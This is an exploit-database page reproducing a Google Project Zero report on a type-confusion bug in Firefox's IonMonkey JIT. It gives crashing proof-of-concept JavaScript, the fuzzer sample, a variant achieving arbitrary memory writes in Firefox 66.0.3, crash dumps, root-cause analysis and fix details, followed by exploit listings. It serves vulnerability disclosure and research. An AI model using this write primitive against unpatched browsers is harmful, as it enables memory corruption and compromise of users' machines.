Menu

Search for hundreds of thousands of exploits

"Mozilla Spidermonkey - IonMonkey 'Array.prototype.pop' Type Confusion"

Author

Exploit author

"Google Security Research"

Platform

Exploit platform

multiple

Release date

Exploit published date

2019-06-26

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
The following program (found through fuzzing and manually modified) crashes Spidermonkey built from the current beta channel and Firefox 66.0.3 (current stable):

    // Run with --no-threads for increased reliability
    const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];
    function v7(v8,v9) {
        if (v4.length == 0) {
            v4[3] = {a: 5};
        }

        // pop the last value. IonMonkey will, based on inferred types, conclude that the result
        // will always be an object, which is untrue when  p[0] is fetched here.
        const v11 = v4.pop();

        // Then if will crash here when dereferencing a controlled double value as pointer.
        v11.a;

        // Force JIT compilation.
        for (let v15 = 0; v15 < 10000; v15++) {}
    }

    var p = {};
    p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
    p[0] = -1.8629373288622089e-06;
    v4.__proto__ = p;

    for (let v31 = 0; v31 < 1000; v31++) {
        v7();
    }

When run, it produces a crash similar to the following:

    * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
        frame #0: 0x000025a3b99b26cb
    ->  0x25a3b99b26cb: cmp    qword ptr [rax], r11
        0x25a3b99b26ce: jne    0x25a3b99b26dd
        0x25a3b99b26d4: cmovne rax, rcx
        0x25a3b99b26d8: jmp    0x25a3b99b26f4
    Target 0: (js) stopped.
    (lldb) reg read rax
         rax = 0x4141414141414141

I haven't thoroughly analyzed bug, but here is roughly what appears to be happening:

* when v4 is created, it will have inferred types for its elements, indicating that they will be JSObjects (this can be seen by running the spidermonkey shell with `INFERFLAGS=full` in the environment)
* in the block following the function definition, v4's prototype is changed to a new object with a double as element 0. This does not change the inferred element types of v4, presumably because these only track own properties/elements and not from prototypes
* v7 is executed a few times and all original elements from v4 are popped
* the element assignment (`v4[3] = ...`) changes the length of the array (to 4) without changing the inferred element types

Afterwards, v7 is (re-)compiled by IonMonkey:
* the call to v4.pop() is inlined by IonMonkey and converted to an MArrayPopShift instruction [1]
* since the inferred element types (JSObjects) match the observed types, no type barrier is emitted [2, 3]
* IonMonkey now assumes that the result of v4.pop() will be an object, thus omits type checks and directly proceed with the property load
* Later, when generating machine code for v4.pop [4], IonMonkey generates a call to the runtime function ArrayPopDense [5]

At execution time of the JITed code, when v4.length is back at 1 (and so the only element left to pop is element 0), the following happens:
* The runtime call to ArrayPopDense is taken
* this calls js::array_pop which in turn proceeds to load p[0] as v4 doesn't have a property with name '0'
* the array pop operation thus returns a double value

However, the JITed code still assumes that it received a JSObject* from the array pop operation and goes on to dereference the value, leading to a crash at an attacker controlled address. It is likely possible to exploit this bug further as type inference issues are generally well exploitable.

To summarize, the problem seems to be that the code handling Array.pop in IonMonkey doesn't take into account that Array.prototype.pop can load an element from the prototype, which could conflict with the array's inferred element types.


Bugzilla entry: https://bugzilla.mozilla.org/show_bug.cgi?id=1544386


Below is the original sample triggered by my fuzzer:

    // Run with -no-threads --cpu-count=1 --ion-offthread-compile=off --baseline-warmup-threshold=10 --ion-warmup-threshold=100
    let v2 = 0;
    v2 = 7;
    const v4 = [13.37,13.37,13.37,13.37,13.37];
    function v7(v8,v9) {
        const v10 = v2 + v4;
        v4[v10] = Object;
        const v11 = v4.pop();
        for (let v15 = 0; v15 < 100; v15++) {
        }
    }
    v4.__proto__ = Object;
    for (let v19 = 0; v19 < 100; v19++) {
        const v23 = [-1000000000000.0,-1000000000000.0,-1000000000000.0];
        let v24 = Object;
        v24.__proto__ = v23;
        const v26 = String.fromCharCode(v19);
        Object[0] = v26;
    }
    for (let v31 = 0; v31 < 100; v31++) {
        const v32 = v7();
    }


This bug can be exploited in a very similar way to https://bugs.chromium.org/p/project-zero/issues/detail?id=1791 and https://bugs.chromium.org/p/project-zero/issues/detail?id=1810 as they all allow the construction of type confusions between arbitrary objects. The following modification of the PoC achieves fast and reliable memory writes to arbitrary addresses in FireFox 66.0.3:

    // Run with --no-threads for increased reliability
    let ab = new ArrayBuffer(0x1000);

    // Confuse these two types with each other below.
    let x = {buffer: ab, length: 13.39, byteOffset: 13.40, data: 3.54484805889626e-310};
    let y = new Uint32Array(0x1000);

    const v4 = [y, y, y, y, y];
    function v7(v8,v9) {
        if (v4.length == 0) {
            v4[3] = y;
        }

        // pop the last value. IonMonkey will, based on inferred types, conclude that the result
        // will always be an object, which is untrue when p[0] is fetched here.
        const v11 = v4.pop();

        // It will then crash here when writing to a controlled address (0x414141414141).
        v11[0] = 0x1337;

        // Force JIT compilation.
        for (let v15 = 0; v15 < 10000; v15++) {}
    }

    var p = {};
    p.__proto__ = [y, y, y];
    p[0] = x;
    v4.__proto__ = p;

    for (let v31 = 0; v31 < 1000; v31++) {
        v7();
    }


    /* Crashes as follows in Firefox 66.0.3:

    (lldb) process attach --pid 12534
    ...

    Executable module set to "/Applications/Firefox.app/Contents/MacOS/plugin-container.app/Contents/MacOS/plugin-container".
    (lldb) c
    Process 12534 resuming
    Process 12534 stopped
    * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x414141414141)
        frame #0: 0x000037f56ae479bd
    ->  0x37f56ae479bd: mov    dword ptr [rcx + 4*rax], 0x1337
    Target 0: (plugin-container) stopped.
    (lldb) reg read rcx rax
         rcx = 0x0000414141414141
         rax = 0x0000000000000000
    */


The issue was fixed with commit https://hg.mozilla.org/releases/mozilla-beta/rev/109cefe117fbdd1764097e06796960082f4fee4e and released as an out-of-band security update on Jun 18th: https://www.mozilla.org/en-US/security/advisories/mfsa2019-18/


I looks like the core issue here was that IonMonkey, when trying to inline calls to Array.push and Array.pop into e.g. the MArrayPopShift instruction, didn't correctly verify that those operations would not end up accessing the prototype. It e.g. checked that no indexed properties (elements) exist on Array.prototype but this check could be bypassed by introducing an intermediate prototype such that the prototype chain looks something like array -> custom prototype with elements -> Array.prototype -> Object.prototype -> null. This is then problematic for at least two reasons:

* There could be inferred element types for the array. IonMonkey then assumed that the inlined pop would always yield an object of the inferred type which wasn't true if the pop actually loaded an element from the prototype. This is the aspect that Fuzzilli triggered
* By installing indexed getters and/or setter on the prototype, it becomes possible to turn this bug into an unexpected side-effect issue as the inlined push and pop operations are not supposed to trigger any side-effects

The fix was then to avoid inlining push and pop if the access could potentially go to the prototype.
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Expense Management System - 'description' Stored Cross Site Scripting" webapps multiple "Nikhil Kumar"
2020-12-02 "Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting" webapps multiple "Parshwa Bhavsar"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Under Construction Page with CPanel 1.0 - SQL injection" webapps multiple "Mayur Parmar"
Release Date Title Type Platform Author
2020-02-10 "iOS/macOS - Out-of-Bounds Timestamp Write in IOAccelCommandQueue2::processSegmentKernelCommand()" dos multiple "Google Security Research"
2020-02-10 "usersctp - Out-of-Bounds Reads in sctp_load_addresses_from_init" dos linux "Google Security Research"
2020-01-28 "macOS/iOS ImageIO - Heap Corruption when Processing Malformed TIFF Image" dos multiple "Google Security Research"
2020-01-14 "WeChat - Memory Corruption in CAudioJBM::InputAudioFrameToJBM" dos android "Google Security Research"
2020-01-14 "Android - ashmem Readonly Bypasses via remap_file_pages() and ASHMEM_UNPIN" dos android "Google Security Research"
2019-12-18 "macOS 10.14.6 (18G87) - Kernel Use-After-Free due to Race Condition in wait_for_namespace_event()" dos macos "Google Security Research"
2019-12-16 "Linux 5.3 - Privilege Escalation via io_uring Offload of sendmsg() onto Kernel Thread with Kernel Creds" local linux "Google Security Research"
2019-12-11 "Adobe Acrobat Reader DC - Heap-Based Memory Corruption due to Malformed TTF Font" dos windows "Google Security Research"
2019-11-22 "macOS 10.14.6 - root->kernel Privilege Escalation via update_dyld_shared_cache" local macos "Google Security Research"
2019-11-22 "Internet Explorer - Use-After-Free in JScript Arguments During toJSON Callback" dos windows "Google Security Research"
2019-11-20 "iOS 12.4 - Sandbox Escape due to Integer Overflow in mediaserverd" dos ios "Google Security Research"
2019-11-20 "Ubuntu 19.10 - Refcount Underflow and Type Confusion in shiftfs" dos linux "Google Security Research"
2019-11-20 "Ubuntu 19.10 - ubuntu-aufs-modified mmap_region() Breaks Refcounting in overlayfs/shiftfs Error Path" dos linux "Google Security Research"
2019-11-11 "Adobe Acrobat Reader DC for Windows - Use of Uninitialized Pointer due to Malformed OTF Font (CFF Table)" dos windows "Google Security Research"
2019-11-11 "iMessage - Decoding NSSharedKeyDictionary can read ObjC Object at Attacker Controlled Address" dos multiple "Google Security Research"
2019-11-11 "Adobe Acrobat Reader DC for Windows - Use of Uninitialized Pointer due to Malformed JBIG2Globals Stream" dos windows "Google Security Research"
2019-11-05 "macOS XNU - Missing Locking in checkdirs_callback() Enables Race with fchdir_common()" dos macos "Google Security Research"
2019-11-05 "JavaScriptCore - Type Confusion During Bailout when Reconstructing Arguments Objects" dos multiple "Google Security Research"
2019-11-05 "WebKit - Universal XSS in JSObject::putInlineSlow and JSValue::putToPrimitive" dos multiple "Google Security Research"
2019-10-30 "JavaScriptCore - GetterSetter Type Confusion During DFG Compilation" dos multiple "Google Security Research"
2019-10-28 "WebKit - Universal XSS in HTMLFrameElementBase::isURLAllowed" dos multiple "Google Security Research"
2019-10-21 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed JP2 Stream (2)" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - NULL Pointer Dereference in nt!MiOffsetToProtos While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in nt!MiRelocateImage While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in CI!HashKComputeFirstPageHash While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in CI!CipFixImageType While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - win32k.sys TTF Font Processing Pool Corruption in win32k!ulClearTypeFilter" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in nt!MiParseImageLoadConfig While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-09 "XNU - Remote Double-Free via Data Race in IPComp Input Path" dos macos "Google Security Research"
2019-10-04 "Android - Binder Driver Use-After-Free" local android "Google Security Research"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.